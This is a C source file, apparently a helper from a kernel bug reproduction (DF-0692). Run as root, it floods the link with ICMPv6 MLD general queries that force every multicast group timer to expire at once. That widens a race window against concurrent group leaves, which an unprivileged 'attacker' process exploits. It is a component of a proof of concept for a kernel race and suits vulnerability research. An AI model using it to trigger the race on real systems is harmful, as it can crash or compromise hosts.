DF-0692 / mld_query.c
/* * DF-0692 helper: inject MLD general-query (ICMPv6 type 130) packets as root * to force mld6_input to arm ALL group timers to ~1 tick, so the next * mld6_fasttimeo tick walks the whole list calling mld6_sendpkt per entry * (much longer walk => much wider race window vs concurrent in6_delmulti). * * A real IPv6 multicast router does exactly this; the guest has no querier, * so we inject one as a diagnostic environmental trigger. The attacker (who * only races join/leave) is still unprivileged. * * Build (as root, in guest): cc -O2 -o mld_query mld_query.c * Run : ./mld_query <count> <interval_ms> (e.g. ./mld_query 1000 50) */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/icmp6.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include <time.h> int main(int argc, char **argv) { int s, cnt = (argc > 1) ? atoi(argv[1]) : 1000; int interval = (argc > 2) ? atoi(argv[2]) : 50; struct sockaddr_in6 dst; struct { uint8_t type; /* 130 = MLD_LISTENER_QUERY */ uint8_t code; uint16_t cksum; uint16_t maxdelay; /* htons(1) -> timer=1 tick */ uint16_t reserved; uint8_t addr[16]; /* :: = general query */ } __attribute__((packed)) q; int i; s = socket(AF_INET6, SOCK_RAW, IPPROTO_ICMPV6); if (s < 0) { perror("raw socket (need root)"); return 1; } /* send via vtnet0 (ifindex 1) -- without this, ff02::1 has no route */ { unsigned int ifidx = 1; if (setsockopt(s, IPPROTO_IPV6, IPV6_MULTICAST_IF, &ifidx, sizeof(ifidx)) < 0) perror("IPV6_MULTICAST_IF (non-fatal)"); /* also bind src to vtnet0 link-local so mld6_input's link-local-src check passes */ struct sockaddr_in6 src; memset(&src, 0, sizeof(src)); src.sin6_family = AF_INET6; src.sin6_len = sizeof(src); src.sin6_addr.s6_addr[0] = 0xfe; src.sin6_addr.s6_addr[1] = 0x80; src.sin6_addr.s6_addr[8] = 0x52; src.sin6_addr.s6_addr[9] = 0x54; src.sin6_addr.s6_addr[10] = 0x00; src.sin6_addr.s6_addr[11] = 0xff; src.sin6_addr.s6_addr[12] = 0xfe; src.sin6_addr.s6_addr[13] = 0x12; src.sin6_addr.s6_addr[14] = 0x34; src.sin6_addr.s6_addr[15] = 0x56; src.sin6_scope_id = 1; if (bind(s, (struct sockaddr *)&src, sizeof(src)) < 0) perror("bind (non-fatal)"); } memset(&dst, 0, sizeof(dst)); dst.sin6_family = AF_INET6; dst.sin6_len = sizeof(dst); /* ff02::1 all-nodes link-local — where MLD queries are sent */ dst.sin6_addr.s6_addr[0] = 0xff; dst.sin6_addr.s6_addr[1] = 0x02; dst.sin6_addr.s6_addr[15] = 1; memset(&q, 0, sizeof(q)); q.type = 130; /* MLD_LISTENER_QUERY */ q.code = 0; q.cksum = 0; /* kernel computes */ q.maxdelay = htons(1); /* tiny -> timer=1 tick -> all expire next fasttimeo */ /* addr = :: (general query) */ fprintf(stderr, "mld_query: sending %d MLD general-queries to ff02::1 every %dms\n", cnt, interval); for (i = 0; i < cnt; i++) { if (sendto(s, &q, sizeof(q), 0, (struct sockaddr *)&dst, sizeof(dst)) < 0) perror("sendto"); struct timespec ts = { 0, interval * 1000 * 1000 }; nanosleep(&ts, NULL); } close(s); return 0; } |